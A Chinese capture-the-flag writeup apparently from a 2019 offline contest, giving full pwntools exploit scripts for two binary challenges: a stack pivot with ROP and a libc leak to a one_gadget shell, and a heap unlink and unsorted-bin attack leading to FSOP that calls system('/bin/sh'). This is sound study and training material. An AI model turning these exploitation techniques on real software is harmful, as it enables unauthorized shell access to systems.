西湖论剑线下个人赛writeup pwn部分

Posted by Chris on May 29, 2019

文件下载

pwn1

简单的stack_pviot,但需注意一点,把rsp迁移到.bss段调用puts时要注意上方的stdin与stout结构体,若在调用puts时,栈空间覆盖到了输入输出流,会导致leak失败。我的解决方案是把rsp迁移到离stdin与stout结构体更远的地方,再执行控制流程。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#context(os='linux', arch='amd64',log_level='debug')

p = process('./main')
#p=remote("101.71.29.5",10038)
def g(p):
    gdb.attach(p)
    raw_input()

pop_rdi_ret=0x4007a3
puts_got=0x601018
puts_plt=0x400520
main=0x4006c3
name=0x601080
bss=name+0x100
leave_ret=0x400733


p.recvuntil("Input Your Name:\n")
payload1="1"*0x100+p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload1)

p.recvuntil("Input Buffer:\n")
payload2="1"*0x40+p64(bss)+p64(leave_ret)
p.send(payload2)

libc=u64(p.recv(6).ljust(0x8,"\x00"))-0x6f690
print hex(libc)
one=libc+0xf1147

p.recvuntil("Input Your Name:\n")
p.send("1111")
p.recvuntil("Input Buffer:\n")
p.send("2"*0x48+p64(one))

p.interactive()


pwn2

比赛时是libc2.27的环境,介于tcache太简单,我拿2.23环境撸的,巩固了一些利用方式:开启PIE时的unlink伪造与FSOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *
# author:     "Chris / sirhc.xyz"
#context(os='linux', arch='amd64',log_level='debug')

p = process('./pwn1')

def g(p):
    gdb.attach(p)
    raw_input()

def add(size,content):
    p.recvuntil("command:\n")
    p.sendline(str(1))
    p.recvuntil("size:\n")
    p.sendline(str(size))
    p.recvuntil("content:\n")
    p.send(content)

def delete(index):
    p.recvuntil("command:\n")
    p.sendline(str(2))
    p.recvuntil("enter index:\n")
    p.sendline(str(index)) 

def show(index):
    p.recvuntil("command:\n")
    p.sendline(str(3))
    p.recvuntil("enter index:\n")
    p.sendline(str(index)) 

def modify(index,content):
    p.recvuntil("command:\n")
    p.sendline(str(4))
    p.recvuntil("enter index:\n")
    p.sendline(str(index)) 
    p.recvuntil("content:\n")
    p.send(content)

add(248,"0"*246+"\n")  #0
add(247,"1"*230+"\n")  #1
add(247,"2"*245+"\n")  #2
add(247,"3"*245+"\n")  #3
add(247,"4"*245+"\n")  #4

######### leak libc,heap address

delete(0)
delete(2)
add(247,"\n")    #0
modify(0,"\x78")
show(0)
libc=u64(p.recv(6).ljust(0x8,"\x00"))-0x3c4b20-88
print hex(libc)
modify(0,"a"*8+"\x30")
show(0)
p.recvuntil("a"*8)
heap=u64(p.recv(6).ljust(0x8,"\x00"))-0x230
print hex(heap)

IO_list_all = libc+0x3c5520
print "IO_list_all : "+hex(IO_list_all)
vtable_addr=heap+0x10
print "vtable_addr "+hex(vtable_addr)
system=libc+0x45390
print "system "+hex(system)


#########  do unlink and comply overlap chunk. Get one chunk that is placed in unsorted_bin and size is 0x1f0.

fd=heap
bk=heap
modify(0,p64(heap+0x210)*2+p64(0)+p64(system))  # in chunk #0 ,fake chunk to Bypass unlink check and call_vtable check.
add(248,"6"*248+"\n")  #2
modify(2,p64(0)+p64(0xf1)+p64(fd)+p64(bk)+"\x00"*0xd0+p64(0xf0))
'''
now chunk Overview

chunk#2_head         mem                   chunk#3_head       mem
|                     |                         |             |
+-----------+---------+----+-----+----+----+----+------+------+----+----+------+
|           |         |fake|fake |fake|fake| D  | prev | size |    |    |      |
|           |         |prev|size | fd | bk | A  | size | &flag|    |    |      |
| prev_size |size&flag|size|&flag| |  | |  | T  |=0xf0 |=0x100|  ..| .. |  ..  |
| =0        |=0x101   |=0x0|=0xf1| |  | |  | A  |      |      |    |    |      |
|           |         |    |     | |  | |  |    |      |      |    |    |      |
+-----------+---------+----+-----+-|--+-|--+----+------+------+----+----+------+
                      ^            |    |
                      |            |    |
               fake_chunk_head     +-+--+
                      |              |
               +------+              |
               |                     V
               |                  chunk#0
               |       +------+------+-------+-------+---------+
               |       | prev | size |       |       |         |
               |       | size | &flag|fd=    |bk=    |         |
               |       |=0x0  |=0x101|fake_  |fake_  |         |
               |       |      |      |chunk_ |chunk_ |         |
               |       |      |      |head   |head   |         |
               |       +------+------+---+---+---+---+---------+
               |                         |       |
               +-------------------------+-------+

'''
delete(3)

'''
now chunk Overview

Unsorted_bin --> fake_chunk

chunk#2_head     fake_chunk                        chunk#3_head       mem
|                     |                                  |             |
+-----------+---------+----+------+--------+--------+----+------+------+----+----+------+
|           |         |fake|fake  |        |        | D  | prev | size |    |    |      |
|           |         |prev|size  |arena+88|arena+88| A  | size | &flag|    |    |      |
| prev_size |size&flag|size|&flag |        |        | T  |=0xf0 |=0x100|  ..| .. |  ..  |
| =0        |=0x101   |=0x0|=0x1f1|        |        | A  |      |      |    |    |      |
|           |         |    |      |        |        |    |      |      |    |    |      |
+-----------+---------+----+------+--------+--------+----+------+------+----+----+------+

'''

#########  FSOP   malloc_printerr-> abort -> _IO_flush_all_lockp->jump_field(_IO_overflow->system)

stream = "/bin/sh\x00"+p64(0x61)   # system_call_parameter and link to small_bin[4] 
stream += p64(0)+p64(IO_list_all-0x10)   # Unsorted_bin attack
stream +=p64(1)+p64(2)     # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")  
stream += p64(0)    # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)  # vtable_addr --> system

modify(2,stream)   
p.recvuntil("command:\n")
p.sendline(str(1))
p.interactive()